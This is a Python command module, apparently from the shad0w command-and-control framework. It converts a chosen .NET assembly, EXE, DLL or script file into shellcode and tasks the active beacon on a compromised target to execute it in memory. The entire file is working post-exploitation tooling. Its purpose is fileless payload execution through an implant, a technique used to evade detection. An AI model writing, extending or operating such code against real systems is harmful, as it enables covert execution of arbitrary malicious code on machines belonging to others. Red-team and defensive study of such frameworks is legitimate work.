#
# Execute a PE in memory via the beacon
#

import os
import sys
import zlib
import base64
import argparse

from lib import auxiliary
from lib import shellcode

__description__ = "Execute a .NET assembly, EXE, DLL, VBS, JS or XSL file in memory on the target"
__author__ = "@_batsec_"

# identify the task as shellcode execute
USERCD_EXEC_ID = 0x3000

# did the command error

ERROR = False
error_list = ""

# let argparse error and exit nice

def error(message):
    global ERROR, error_list
    ERROR = True
    error_list += f"\033[0;31m{message}\033[0m\n"

def exit(status=0, message=None): 
    if message != None: print(message)
    return

def main(shad0w, args):

    # check we actually have a beacon
    if shad0w.current_beacon is None:
        shad0w.debug.log("ERROR: No active beacon", log=True)
        return

    # usage examples
    usage_examples = """

Examples:

execute -f msg.exe -p hello world
execute -f msg.exe -c MyClass -m RunProcess -r v3
execute -f msg.dll
execute -f msg.js
"""

    # init argparse
    parse = argparse.ArgumentParser(prog='execute',
                                    formatter_class=argparse.RawDescriptionHelpFormatter,
                                    epilog=usage_examples)

    # keep it behaving nice
    parse.exit = exit
    parse.error = error

    # set the args
    parse.add_argument("-f", "--file", nargs='+', required=True, help=".NET assembly, EXE, DLL, VBS, JS or XSL file to execute in-memory")
    parse.add_argument("-p", "--param", nargs='+', required=False, help="Arguments to run the file with")
    parse.add_argument("-c", "--cls", required=False, help="Class name. Is required for .NET DLL")
    parse.add_argument("-m", "--method", required=False, help="Method or API name for DLL. Is required for .NET DLL")
    parse.add_argument("-r", "--runtime", required=False, help="CLR runtime version. MetaHeader used by default or v4.0.30319 if none available")
    parse.add_argument("-a", "--appdomain", required=False, help="AppDomain name to create for .NET. Randomly generated by default.")

    # make sure we dont die from weird args
    try:
        args = parse.parse_args(args[1:])
    except:
        pass

    # show the errors to the user
    if ERROR:
        print(error_list) 
        parse.print_help()
        return

    # give a message to the user
    if args.param is None:
        shad0w.debug.log(f"Executing: {''.join(args.file)}", log=True)
        file = ''.join(args.file)
        params = None
    else:
        shad0w.debug.log(f"Executing: \"{''.join(args.file)} {' '.join(args.param)}\"", log=True)
        file = ''.join(args.file)
        params = ' '.join(args.param)

    # make sure we are in the users current dir
    b4dir = os.getcwd()
    os.chdir("/root/shad0w/.bridge")

    # do we have arguments to pass to the function?
    if params != None:
        b64_comp_data = shellcode.generate(file, args, params)
    elif params == None:
        b64_comp_data = shellcode.generate(file, args, None)
    
    if b64_comp_data == None:
        return

    # change the dir back
    os.chdir(b4dir)

    # set a task for the current beacon to do
    shad0w.beacons[shad0w.current_beacon]["task"] = (USERCD_EXEC_ID, b64_comp_data)

    # inform the user of the change
    shad0w.debug.log(f"Tasked beacon ({shad0w.current_beacon})", log=True)

    return
